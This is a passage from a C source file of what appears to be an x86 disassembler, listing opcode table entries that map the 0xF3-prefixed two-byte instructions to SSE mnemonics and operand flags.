FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xca\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcb\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcc\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcd\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xce\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcf\n { INSTRUCTION_TYPE_SSE, \"addsubpd\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0xd0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd1\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd5\n { INSTRUCTION_TYPE_SSE, \"movdq2q\", AM_P|OT_q, AM_V|OT_q, FLAGS_NONE, 1 }, // 0xd6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xda\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdb\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdc\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdd\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xde\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdf\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe1\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe5\n { INSTRUCTION_TYPE_SSE, \"cvtpd2dq\", AM_V|OT_dq, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0xe6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xea\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xeb\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xec\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xed\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xee\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xef\n { INSTRUCTION_TYPE_SSE, \"lddqu\", AM_V|OT_dq, AM_M|OT_dq, FLAGS_NONE, 1 }, // 0xf0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf1\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf5\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfa\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfb\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfc\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfd\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfe\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xff\n}; \n\n// 3-byte instructions, prefix 0xf3\n\nINST inst_table3_f3[256] = {\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x5\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf\n { INSTRUCTION_TYPE_SSE, \"movss\", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x10\n { INSTRUCTION_TYPE_SSE, \"movss\", AM_W|OT_ss, AM_V|OT_ss, FLAGS_NONE, 1 }, // 0x11\n { INSTRUCTION_TYPE_SSE, \"movsldup\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x12\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x13\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x14\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x15\n { INSTRUCTION_TYPE_SSE, \"movshdup\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x16\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x17\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x18\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x19\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x20\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x21\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x22\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x23\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x24\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x25\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x26\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x27\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x28\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x29\n { INSTRUCTION_TYPE_SSE, \"cvtsi2ss\", AM_V|OT_ss, AM_E|OT_d, FLAGS_NONE, 1 }, // 0x2a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2b\n { INSTRUCTION_TYPE_SSE, \"cvttss2si\",AM_G|OT_d, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x2c\n { INSTRUCTION_TYPE_SSE, \"cvtss2si\", AM_G|OT_d, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x2d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x30\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x31\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x32\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x33\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x34\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x35\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x36\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x37\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x38\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x39\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x40\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x41\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x42\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x43\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x44\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x45\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x46\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x47\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x48\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x49\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x50\n { INSTRUCTION_TYPE_SSE, \"sqrtss\", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x51\n { INSTRUCTION_TYPE_SSE, \"rsqrtss\", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x52\n { INSTRUCTION_TYPE_SSE, \"rcpss\", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x53\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x54\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x55\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x56\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x57\n { INSTRUCTION_TYPE_SSE, \"addss\", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x58\n { INSTRUCTION_TYPE_SSE, \"mulss\", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x59\n { INSTRUCTION_TYPE_SSE, \"cvtsd2sd\", AM_V|OT_sd, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x5a\n { INSTRUCTION_TYPE_SSE, \"cvttps2dq\",AM_V|OT_dq, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x5b\n { INSTRUCTION_TYPE_SSE, \"subss\", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x5c\n { INSTRUCTION_TYPE_SSE, \"minss\", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x5d\n { INSTRUCTION_TYPE_SSE, \"divss\", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x5e\n { INSTRUCTION_TYPE_SSE, \"maxss\", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x5f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x60\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x61\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x62\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x63\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x64\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x65\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x66\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x67\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x68\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x69\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6e\n { INSTRUCTION_TYPE_SSE, \"movdqu\", AM_V|OT_dq, AM_W|OT_dq, AM_I|OT_b, 1 }, // 0x6f\n { INSTRUCTION_TYPE_SSE, \"pshufhw\", AM_V|OT_dq, AM_W|OT_dq, AM_I|OT_b, 1 }, // 0x70\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x71\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x72\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x73\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x74\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x75\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x76\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x77\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x78\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x79\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7d\n { INSTRUCTION_TYPE_SSE, \"movq\", AM_V|OT_q, AM_W|OT_q, FLAGS_NONE, 1 }, // 0x7e\n { INSTRUCTION_TYPE_SSE, \"movdqu\", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x7f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x80\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x81\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x82\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x83\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x84\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x85\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x86\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x87\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x88\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x89\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x90\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x91\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x92\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x93\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x94\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x95\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x96\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x97\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x98\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x99\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9a\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9b\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9c\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9d\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9e\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9f\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa1\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa5\n { INSTRUCTION_TYPE_OTHER, 